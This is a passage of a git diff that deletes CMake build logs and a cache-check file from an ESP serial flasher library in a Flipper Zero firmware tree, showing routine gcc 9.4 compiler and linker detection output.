[/usr/lib/gcc/x86_64-linux-gnu/9] - arg [-L/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu] ==> dir [/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu] - arg [-L/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib] ==> dir [/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib] - arg [-L/lib/x86_64-linux-gnu] ==> dir [/lib/x86_64-linux-gnu] - arg [-L/lib/../lib] ==> dir [/lib/../lib] - arg [-L/usr/lib/x86_64-linux-gnu] ==> dir [/usr/lib/x86_64-linux-gnu] - arg [-L/usr/lib/../lib] ==> dir [/usr/lib/../lib] - arg [-L/usr/lib/gcc/x86_64-linux-gnu/9/../../..] ==> dir [/usr/lib/gcc/x86_64-linux-gnu/9/../../..] - arg [CMakeFiles/cmTC_8c7d9.dir/CMakeCCompilerABI.c.o] ==> ignore - arg [-lgcc] ==> lib [gcc] - arg [--push-state] ==> ignore - arg [--as-needed] ==> ignore - arg [-lgcc_s] ==> lib [gcc_s] - arg [--pop-state] ==> ignore - arg [-lc] ==> lib [c] - arg [-lgcc] ==> lib [gcc] - arg [--push-state] ==> ignore - arg [--as-needed] ==> ignore - arg [-lgcc_s] ==> lib [gcc_s] - arg [--pop-state] ==> ignore - arg [/usr/lib/gcc/x86_64-linux-gnu/9/crtendS.o] ==> ignore - arg [/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/crtn.o] ==> ignore - collapse library dir [/usr/lib/gcc/x86_64-linux-gnu/9] ==> [/usr/lib/gcc/x86_64-linux-gnu/9] - collapse library dir [/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu] ==> [/usr/lib/x86_64-linux-gnu] - collapse library dir [/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib] ==> [/usr/lib] - collapse library dir [/lib/x86_64-linux-gnu] ==> [/lib/x86_64-linux-gnu] - collapse library dir [/lib/../lib] ==> [/lib] - collapse library dir [/usr/lib/x86_64-linux-gnu] ==> [/usr/lib/x86_64-linux-gnu] - collapse library dir [/usr/lib/../lib] ==> [/usr/lib] - collapse library dir [/usr/lib/gcc/x86_64-linux-gnu/9/../../..] ==> [/usr/lib] - implicit libs: [gcc;gcc_s;c;gcc;gcc_s] - implicit dirs: [/usr/lib/gcc/x86_64-linux-gnu/9;/usr/lib/x86_64-linux-gnu;/usr/lib;/lib/x86_64-linux-gnu;/lib] - implicit fwks: [] - - -Determining if the CXX compiler works passed with the following output: -Change Dir: /home/cococode/flipperzero-firmware/lib/esp-serial-flasher/CMakeFiles/CMakeTmp - -Run Build Command(s):/usr/bin/make cmTC_9b51d/fast && /usr/bin/make -f CMakeFiles/cmTC_9b51d.dir/build.make CMakeFiles/cmTC_9b51d.dir/build -make[1]: Entering directory '/home/cococode/flipperzero-firmware/lib/esp-serial-flasher/CMakeFiles/CMakeTmp' -Building CXX object CMakeFiles/cmTC_9b51d.dir/testCXXCompiler.cxx.o -/usr/bin/c++ -o CMakeFiles/cmTC_9b51d.dir/testCXXCompiler.cxx.o -c /home/cococode/flipperzero-firmware/lib/esp-serial-flasher/CMakeFiles/CMakeTmp/testCXXCompiler.cxx -Linking CXX executable cmTC_9b51d -/usr/bin/cmake -E cmake_link_script CMakeFiles/cmTC_9b51d.dir/link.txt --verbose=1 -/usr/bin/c++ -rdynamic CMakeFiles/cmTC_9b51d.dir/testCXXCompiler.cxx.o -o cmTC_9b51d -make[1]: Leaving directory '/home/cococode/flipperzero-firmware/lib/esp-serial-flasher/CMakeFiles/CMakeTmp' - - - -Detecting CXX compiler ABI info compiled with the following output: -Change Dir: /home/cococode/flipperzero-firmware/lib/esp-serial-flasher/CMakeFiles/CMakeTmp - -Run Build Command(s):/usr/bin/make cmTC_b76ad/fast && /usr/bin/make -f CMakeFiles/cmTC_b76ad.dir/build.make CMakeFiles/cmTC_b76ad.dir/build -make[1]: Entering directory '/home/cococode/flipperzero-firmware/lib/esp-serial-flasher/CMakeFiles/CMakeTmp' -Building CXX object CMakeFiles/cmTC_b76ad.dir/CMakeCXXCompilerABI.cpp.o -/usr/bin/c++ -v -o CMakeFiles/cmTC_b76ad.dir/CMakeCXXCompilerABI.cpp.o -c /usr/share/cmake-3.16/Modules/CMakeCXXCompilerABI.cpp -Using built-in specs. -COLLECT_GCC=/usr/bin/c++ -OFFLOAD_TARGET_NAMES=nvptx-none:hsa -OFFLOAD_TARGET_DEFAULT=1 -Target: x86_64-linux-gnu -Configured with: ../src/configure -v --with-pkgversion='Ubuntu 9.4.0-1ubuntu1~20.04.1' --with-bugurl=file:///usr/share/doc/gcc-9/README.Bugs --enable-languages=c,ada,c++,go,brig,d,fortran,objc,obj-c++,gm2 --prefix=/usr --with-gcc-major-version-only --program-suffix=-9 --program-prefix=x86_64-linux-gnu- --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-gnu-unique-object --disable-vtable-verify --enable-plugin --enable-default-pie --with-system-zlib --with-target-system-zlib=auto --enable-objc-gc=auto --enable-multiarch --disable-werror --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32,m64,mx32 --enable-multilib --with-tune=generic --enable-offload-targets=nvptx-none=/build/gcc-9-Av3uEd/gcc-9-9.4.0/debian/tmp-nvptx/usr,hsa --without-cuda-driver --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu -Thread model: posix -gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1) -COLLECT_GCC_OPTIONS='-v' '-o' 'CMakeFiles/cmTC_b76ad.dir/CMakeCXXCompilerABI.cpp.o' '-c' '-shared-libgcc' '-mtune=generic' '-march=x86-64' - /usr/lib/gcc/x86_64-linux-gnu/9/cc1plus -quiet -v -imultiarch x86_64-linux-gnu -D_GNU_SOURCE /usr/share/cmake-3.16/Modules/CMakeCXXCompilerABI.cpp -quiet -dumpbase CMakeCXXCompilerABI.cpp -mtune=generic -march=x86-64 -auxbase-strip CMakeFiles/cmTC_b76ad.dir/CMakeCXXCompilerABI.cpp.o -version -fasynchronous-unwind-tables -fstack-protector-strong -Wformat -Wformat-security -fstack-clash-protection -fcf-protection -o /tmp/ccTEwRoV.s -GNU C++14 (Ubuntu 9.4.0-1ubuntu1~20.04.1) version 9.4.0 (x86_64-linux-gnu) - compiled by GNU C version 9.4.0, GMP version 6.2.0, MPFR version 4.0.2, MPC version 1.1.0, isl version isl-0.22.1-GMP - -GGC heuristics: --param ggc-min-expand=100 --param ggc-min-heapsize=131072 -ignoring duplicate directory "/usr/include/x86_64-linux-gnu/c++/9" -ignoring nonexistent directory "/usr/local/include/x86_64-linux-gnu" -ignoring nonexistent directory "/usr/lib/gcc/x86_64-linux-gnu/9/include-fixed" -ignoring nonexistent directory "/usr/lib/gcc/x86_64-linux-gnu/9/../../../../x86_64-linux-gnu/include" -#include "..." search starts here: -#include <...> search starts here: - /usr/include/c++/9 - /usr/include/x86_64-linux-gnu/c++/9 - /usr/include/c++/9/backward - /usr/lib/gcc/x86_64-linux-gnu/9/include - /usr/local/include - /usr/include/x86_64-linux-gnu - /usr/include -End of search list. -GNU C++14 (Ubuntu 9.4.0-1ubuntu1~20.04.1) version 9.4.0 (x86_64-linux-gnu) - compiled by GNU C version 9.4.0, GMP version 6.2.0, MPFR version 4.0.2, MPC version 1.1.0, isl version isl-0.22.1-GMP - -GGC heuristics: --param ggc-min-expand=100 --param ggc-min-heapsize=131072 -Compiler executable checksum: 65fe925b83d3956b533de4aaba7dace0 -COLLECT_GCC_OPTIONS='-v' '-o' 'CMakeFiles/cmTC_b76ad.dir/CMakeCXXCompilerABI.cpp.o' '-c' '-shared-libgcc' '-mtune=generic' '-march=x86-64' - as -v --64 -o CMakeFiles/cmTC_b76ad.dir/CMakeCXXCompilerABI.cpp.o /tmp/ccTEwRoV.s -GNU assembler version 2.34 (x86_64-linux-gnu) using BFD version (GNU Binutils for Ubuntu) 2.34 -COMPILER_PATH=/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/ -LIBRARY_PATH=/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib/:/lib/x86_64-linux-gnu/:/lib/../lib/:/usr/lib/x86_64-linux-gnu/:/usr/lib/../lib/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../:/lib/:/usr/lib/ -COLLECT_GCC_OPTIONS='-v' '-o' 'CMakeFiles/cmTC_b76ad.dir/CMakeCXXCompilerABI.cpp.o' '-c' '-shared-libgcc' '-mtune=generic' '-march=x86-64' -Linking CXX executable cmTC_b76ad -/usr/bin/cmake -E cmake_link_script CMakeFiles/cmTC_b76ad.dir/link.txt --verbose=1 -/usr/bin/c++ -v -rdynamic CMakeFiles/cmTC_b76ad.dir/CMakeCXXCompilerABI.cpp.o -o cmTC_b76ad -Using built-in specs. -COLLECT_GCC=/usr/bin/c++ -COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/9/lto-wrapper -OFFLOAD_TARGET_NAMES=nvptx-none:hsa -OFFLOAD_TARGET_DEFAULT=1 -Target: x86_64-linux-gnu -Configured with: ../src/configure -v --with-pkgversion='Ubuntu 9.4.0-1ubuntu1~20.04.1' --with-bugurl=file:///usr/share/doc/gcc-9/README.Bugs --enable-languages=c,ada,c++,go,brig,d,fortran,objc,obj-c++,gm2 --prefix=/usr --with-gcc-major-version-only --program-suffix=-9 --program-prefix=x86_64-linux-gnu- --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-gnu-unique-object --disable-vtable-verify --enable-plugin --enable-default-pie --with-system-zlib --with-target-system-zlib=auto --enable-objc-gc=auto --enable-multiarch --disable-werror --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32,m64,mx32 --enable-multilib --with-tune=generic --enable-offload-targets=nvptx-none=/build/gcc-9-Av3uEd/gcc-9-9.4.0/debian/tmp-nvptx/usr,hsa --without-cuda-driver --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu -Thread model: posix -gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1) -COMPILER_PATH=/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/ -LIBRARY_PATH=/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib/:/lib/x86_64-linux-gnu/:/lib/../lib/:/usr/lib/x86_64-linux-gnu/:/usr/lib/../lib/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../:/lib/:/usr/lib/ -COLLECT_GCC_OPTIONS='-v' '-rdynamic' '-o' 'cmTC_b76ad' '-shared-libgcc' '-mtune=generic' '-march=x86-64' - /usr/lib/gcc/x86_64-linux-gnu/9/collect2 -plugin /usr/lib/gcc/x86_64-linux-gnu/9/liblto_plugin.so -plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/9/lto-wrapper -plugin-opt=-fresolution=/tmp/ccnXxdBn.res -plugin-opt=-pass-through=-lgcc_s -plugin-opt=-pass-through=-lgcc -plugin-opt=-pass-through=-lc -plugin-opt=-pass-through=-lgcc_s -plugin-opt=-pass-through=-lgcc --build-id --eh-frame-hdr -m elf_x86_64 --hash-style=gnu --as-needed -export-dynamic -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o cmTC_b76ad /usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/9/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/9 -L/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/9/../../.. CMakeFiles/cmTC_b76ad.dir/CMakeCXXCompilerABI.cpp.o -lstdc++ -lm -lgcc_s -lgcc -lc -lgcc_s -lgcc /usr/lib/gcc/x86_64-linux-gnu/9/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/crtn.o -COLLECT_GCC_OPTIONS='-v' '-rdynamic' '-o' 'cmTC_b76ad' '-shared-libgcc' '-mtune=generic' '-march=x86-64' -make[1]: Leaving directory '/home/cococode/flipperzero-firmware/lib/esp-serial-flasher/CMakeFiles/CMakeTmp' - - - -Parsed CXX implicit include dir info from above output: rv=done - found start of include info - found start of implicit include info - add: [/usr/include/c++/9] - add: [/usr/include/x86_64-linux-gnu/c++/9] - add: [/usr/include/c++/9/backward] - add: [/usr/lib/gcc/x86_64-linux-gnu/9/include] - add: [/usr/local/include] - add: [/usr/include/x86_64-linux-gnu] - add: [/usr/include] - end of search list found - collapse include dir [/usr/include/c++/9] ==> [/usr/include/c++/9] - collapse include dir [/usr/include/x86_64-linux-gnu/c++/9] ==> [/usr/include/x86_64-linux-gnu/c++/9] - collapse include dir [/usr/include/c++/9/backward] ==> [/usr/include/c++/9/backward] - collapse include dir [/usr/lib/gcc/x86_64-linux-gnu/9/include] ==> [/usr/lib/gcc/x86_64-linux-gnu/9/include] - collapse include dir [/usr/local/include] ==> [/usr/local/include] - collapse include dir [/usr/include/x86_64-linux-gnu] ==> [/usr/include/x86_64-linux-gnu] - collapse include dir [/usr/include] ==> [/usr/include] - implicit include dirs: [/usr/include/c++/9;/usr/include/x86_64-linux-gnu/c++/9;/usr/include/c++/9/backward;/usr/lib/gcc/x86_64-linux-gnu/9/include;/usr/local/include;/usr/include/x86_64-linux-gnu;/usr/include] - - -Parsed CXX implicit link information from above output: - link line regex: [^( *|.*[/\])(ld|CMAKE_LINK_STARTFILE-NOTFOUND|([^/\]+-)?ld|collect2)[^/\]*( |$)] - ignore line: [Change Dir: /home/cococode/flipperzero-firmware/lib/esp-serial-flasher/CMakeFiles/CMakeTmp] - ignore line: [] - ignore line: [Run Build Command(s):/usr/bin/make cmTC_b76ad/fast && /usr/bin/make -f CMakeFiles/cmTC_b76ad.dir/build.make CMakeFiles/cmTC_b76ad.dir/build] - ignore line: [make[1]: Entering directory '/home/cococode/flipperzero-firmware/lib/esp-serial-flasher/CMakeFiles/CMakeTmp'] - ignore line: [Building CXX object CMakeFiles/cmTC_b76ad.dir/CMakeCXXCompilerABI.cpp.o] - ignore line: [/usr/bin/c++ -v -o CMakeFiles/cmTC_b76ad.dir/CMakeCXXCompilerABI.cpp.o -c /usr/share/cmake-3.16/Modules/CMakeCXXCompilerABI.cpp] - ignore line: [Using built-in specs.] - ignore line: [COLLECT_GCC=/usr/bin/c++] - ignore line: [OFFLOAD_TARGET_NAMES=nvptx-none:hsa] - ignore line: [OFFLOAD_TARGET_DEFAULT=1] - ignore line: [Target: x86_64-linux-gnu] - ignore line: [Configured with: ../src/configure -v --with-pkgversion='Ubuntu 9.4.0-1ubuntu1~20.04.1' --with-bugurl=file:///usr/share/doc/gcc-9/README.Bugs --enable-languages=c ada c++ go brig d fortran objc obj-c++ gm2 --prefix=/usr --with-gcc-major-version-only --program-suffix=-9 --program-prefix=x86_64-linux-gnu- --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-gnu-unique-object --disable-vtable-verify --enable-plugin --enable-default-pie --with-system-zlib --with-target-system-zlib=auto --enable-objc-gc=auto --enable-multiarch --disable-werror --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32 m64 mx32 --enable-multilib --with-tune=generic --enable-offload-targets=nvptx-none=/build/gcc-9-Av3uEd/gcc-9-9.4.0/debian/tmp-nvptx/usr hsa --without-cuda-driver --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu] - ignore line: [Thread model: posix] - ignore line: [gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1) ] - ignore line: [COLLECT_GCC_OPTIONS='-v' '-o' 'CMakeFiles/cmTC_b76ad.dir/CMakeCXXCompilerABI.cpp.o' '-c' '-shared-libgcc' '-mtune=generic' '-march=x86-64'] - ignore line: [ /usr/lib/gcc/x86_64-linux-gnu/9/cc1plus -quiet -v -imultiarch x86_64-linux-gnu -D_GNU_SOURCE /usr/share/cmake-3.16/Modules/CMakeCXXCompilerABI.cpp -quiet -dumpbase CMakeCXXCompilerABI.cpp -mtune=generic -march=x86-64 -auxbase-strip CMakeFiles/cmTC_b76ad.dir/CMakeCXXCompilerABI.cpp.o -version -fasynchronous-unwind-tables -fstack-protector-strong -Wformat -Wformat-security -fstack-clash-protection -fcf-protection -o /tmp/ccTEwRoV.s] - ignore line: [GNU C++14 (Ubuntu 9.4.0-1ubuntu1~20.04.1) version 9.4.0 (x86_64-linux-gnu)] - ignore line: [ compiled by GNU C version 9.4.0 GMP version 6.2.0 MPFR version 4.0.2 MPC version 1.1.0 isl version isl-0.22.1-GMP] - ignore line: [] - ignore line: [GGC heuristics: --param ggc-min-expand=100 --param ggc-min-heapsize=131072] - ignore line: [ignoring duplicate directory "/usr/include/x86_64-linux-gnu/c++/9"] - ignore line: [ignoring nonexistent directory "/usr/local/include/x86_64-linux-gnu"] - ignore line: [ignoring nonexistent directory "/usr/lib/gcc/x86_64-linux-gnu/9/include-fixed"] - ignore line: [ignoring nonexistent directory "/usr/lib/gcc/x86_64-linux-gnu/9/../../../../x86_64-linux-gnu/include"] - ignore line: [#include "..." search starts here:] - ignore line: [#include <...> search starts here:] - ignore line: [ /usr/include/c++/9] - ignore line: [ /usr/include/x86_64-linux-gnu/c++/9] - ignore line: [ /usr/include/c++/9/backward] - ignore line: [ /usr/lib/gcc/x86_64-linux-gnu/9/include] - ignore line: [ /usr/local/include] - ignore line: [ /usr/include/x86_64-linux-gnu] - ignore line: [ /usr/include] - ignore line: [End of search list.] - ignore line: [GNU C++14 (Ubuntu 9.4.0-1ubuntu1~20.04.1) version 9.4.0 (x86_64-linux-gnu)] - ignore line: [ compiled by GNU C version 9.4.0 GMP version 6.2.0 MPFR version 4.0.2 MPC version 1.1.0 isl version isl-0.22.1-GMP] - ignore line: [] - ignore line: [GGC heuristics: --param ggc-min-expand=100 --param ggc-min-heapsize=131072] - ignore line: [Compiler executable checksum: 65fe925b83d3956b533de4aaba7dace0] - ignore line: [COLLECT_GCC_OPTIONS='-v' '-o' 'CMakeFiles/cmTC_b76ad.dir/CMakeCXXCompilerABI.cpp.o' '-c' '-shared-libgcc' '-mtune=generic' '-march=x86-64'] - ignore line: [ as -v --64 -o CMakeFiles/cmTC_b76ad.dir/CMakeCXXCompilerABI.cpp.o /tmp/ccTEwRoV.s] - ignore line: [GNU assembler version 2.34 (x86_64-linux-gnu) using BFD version (GNU Binutils for Ubuntu) 2.34] - ignore line: [COMPILER_PATH=/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/] - ignore line: [LIBRARY_PATH=/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib/:/lib/x86_64-linux-gnu/:/lib/../lib/:/usr/lib/x86_64-linux-gnu/:/usr/lib/../lib/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../:/lib/:/usr/lib/] - ignore line: [COLLECT_GCC_OPTIONS='-v' '-o' 'CMakeFiles/cmTC_b76ad.dir/CMakeCXXCompilerABI.cpp.o' '-c' '-shared-libgcc' '-mtune=generic' '-march=x86-64'] - ignore line: [Linking CXX executable cmTC_b76ad] - ignore line: [/usr/bin/cmake -E cmake_link_script CMakeFiles/cmTC_b76ad.dir/link.txt --verbose=1] - ignore line: [/usr/bin/c++ -v -rdynamic CMakeFiles/cmTC_b76ad.dir/CMakeCXXCompilerABI.cpp.o -o cmTC_b76ad ] - ignore line: [Using built-in specs.] - ignore line: [COLLECT_GCC=/usr/bin/c++] - ignore line: [COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/9/lto-wrapper] - ignore line: [OFFLOAD_TARGET_NAMES=nvptx-none:hsa] - ignore line: [OFFLOAD_TARGET_DEFAULT=1] - ignore line: [Target: x86_64-linux-gnu] - ignore line: [Configured with: ../src/configure -v --with-pkgversion='Ubuntu 9.4.0-1ubuntu1~20.04.1' --with-bugurl=file:///usr/share/doc/gcc-9/README.Bugs --enable-languages=c ada c++ go brig d fortran objc obj-c++ gm2 --prefix=/usr --with-gcc-major-version-only --program-suffix=-9 --program-prefix=x86_64-linux-gnu- --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-gnu-unique-object --disable-vtable-verify --enable-plugin --enable-default-pie --with-system-zlib --with-target-system-zlib=auto --enable-objc-gc=auto --enable-multiarch --disable-werror --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32 m64 mx32 --enable-multilib --with-tune=generic --enable-offload-targets=nvptx-none=/build/gcc-9-Av3uEd/gcc-9-9.4.0/debian/tmp-nvptx/usr hsa --without-cuda-driver --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu] - ignore line: [Thread model: posix] - ignore line: [gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1) ] - ignore line: [COMPILER_PATH=/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/] - ignore line: [LIBRARY_PATH=/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib/:/lib/x86_64-linux-gnu/:/lib/../lib/:/usr/lib/x86_64-linux-gnu/:/usr/lib/../lib/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../:/lib/:/usr/lib/] - ignore line: [COLLECT_GCC_OPTIONS='-v' '-rdynamic' '-o' 'cmTC_b76ad' '-shared-libgcc' '-mtune=generic' '-march=x86-64'] - link line: [ /usr/lib/gcc/x86_64-linux-gnu/9/collect2 -plugin /usr/lib/gcc/x86_64-linux-gnu/9/liblto_plugin.so -plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/9/lto-wrapper -plugin-opt=-fresolution=/tmp/ccnXxdBn.res -plugin-opt=-pass-through=-lgcc_s -plugin-opt=-pass-through=-lgcc -plugin-opt=-pass-through=-lc -plugin-opt=-pass-through=-lgcc_s -plugin-opt=-pass-through=-lgcc --build-id --eh-frame-hdr -m elf_x86_64 --hash-style=gnu --as-needed -export-dynamic -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o cmTC_b76ad /usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/9/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/9 -L/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/9/../../.. CMakeFiles/cmTC_b76ad.dir/CMakeCXXCompilerABI.cpp.o -lstdc++ -lm -lgcc_s -lgcc -lc -lgcc_s -lgcc /usr/lib/gcc/x86_64-linux-gnu/9/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/crtn.o] - arg [/usr/lib/gcc/x86_64-linux-gnu/9/collect2] ==> ignore - arg [-plugin] ==> ignore - arg [/usr/lib/gcc/x86_64-linux-gnu/9/liblto_plugin.so] ==> ignore - arg [-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/9/lto-wrapper] ==> ignore - arg [-plugin-opt=-fresolution=/tmp/ccnXxdBn.res] ==> ignore - arg [-plugin-opt=-pass-through=-lgcc_s] ==> ignore - arg [-plugin-opt=-pass-through=-lgcc] ==> ignore - arg [-plugin-opt=-pass-through=-lc] ==> ignore - arg [-plugin-opt=-pass-through=-lgcc_s] ==> ignore - arg [-plugin-opt=-pass-through=-lgcc] ==> ignore - arg [--build-id] ==> ignore - arg [--eh-frame-hdr] ==> ignore - arg [-m] ==> ignore - arg [elf_x86_64] ==> ignore - arg [--hash-style=gnu] ==> ignore - arg [--as-needed] ==> ignore - arg [-export-dynamic] ==> ignore - arg [-dynamic-linker] ==> ignore - arg [/lib64/ld-linux-x86-64.so.2] ==> ignore - arg [-pie] ==> ignore - arg [-znow] ==> ignore - arg [-zrelro] ==> ignore - arg [-o] ==> ignore - arg [cmTC_b76ad] ==> ignore - arg [/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/Scrt1.o] ==> ignore - arg [/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/crti.o] ==> ignore - arg [/usr/lib/gcc/x86_64-linux-gnu/9/crtbeginS.o] ==> ignore - arg [-L/usr/lib/gcc/x86_64-linux-gnu/9] ==> dir [/usr/lib/gcc/x86_64-linux-gnu/9] - arg [-L/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu] ==> dir [/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu] - arg [-L/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib] ==> dir [/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib] - arg [-L/lib/x86_64-linux-gnu] ==> dir [/lib/x86_64-linux-gnu] - arg [-L/lib/../lib] ==> dir [/lib/../lib] - arg [-L/usr/lib/x86_64-linux-gnu] ==> dir [/usr/lib/x86_64-linux-gnu] - arg [-L/usr/lib/../lib] ==> dir [/usr/lib/../lib] - arg [-L/usr/lib/gcc/x86_64-linux-gnu/9/../../..] ==> dir [/usr/lib/gcc/x86_64-linux-gnu/9/../../..] - arg [CMakeFiles/cmTC_b76ad.dir/CMakeCXXCompilerABI.cpp.o] ==> ignore - arg [-lstdc++] ==> lib [stdc++] - arg [-lm] ==> lib [m] - arg [-lgcc_s] ==> lib [gcc_s] - arg [-lgcc] ==> lib [gcc] - arg [-lc] ==> lib [c] - arg [-lgcc_s] ==> lib [gcc_s] - arg [-lgcc] ==> lib [gcc] - arg [/usr/lib/gcc/x86_64-linux-gnu/9/crtendS.o] ==> ignore - arg [/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/crtn.o] ==> ignore - collapse library dir [/usr/lib/gcc/x86_64-linux-gnu/9] ==> [/usr/lib/gcc/x86_64-linux-gnu/9] - collapse library dir [/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu] ==> [/usr/lib/x86_64-linux-gnu] - collapse library dir [/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib] ==> [/usr/lib] - collapse library dir [/lib/x86_64-linux-gnu] ==> [/lib/x86_64-linux-gnu] - collapse library dir [/lib/../lib] ==> [/lib] - collapse library dir [/usr/lib/x86_64-linux-gnu] ==> [/usr/lib/x86_64-linux-gnu] - collapse library dir [/usr/lib/../lib] ==> [/usr/lib] - collapse library dir [/usr/lib/gcc/x86_64-linux-gnu/9/../../..] ==> [/usr/lib] - implicit libs: [stdc++;m;gcc_s;gcc;c;gcc_s;gcc] - implicit dirs: [/usr/lib/gcc/x86_64-linux-gnu/9;/usr/lib/x86_64-linux-gnu;/usr/lib;/lib/x86_64-linux-gnu;/lib] - implicit fwks: [] - - diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/cmake.check_cache b/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/cmake.check_cache deleted file mode 100644 index 3dccd7317..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/cmake.check_cache +++ /dev/null @@ -1 +0,0 @@ -# This file is generated by cmake for dependency checking of the CMakeCache.txt file diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/Kconfig b/applications/external/esp_flasher/lib/esp-serial-flasher/Kconfig 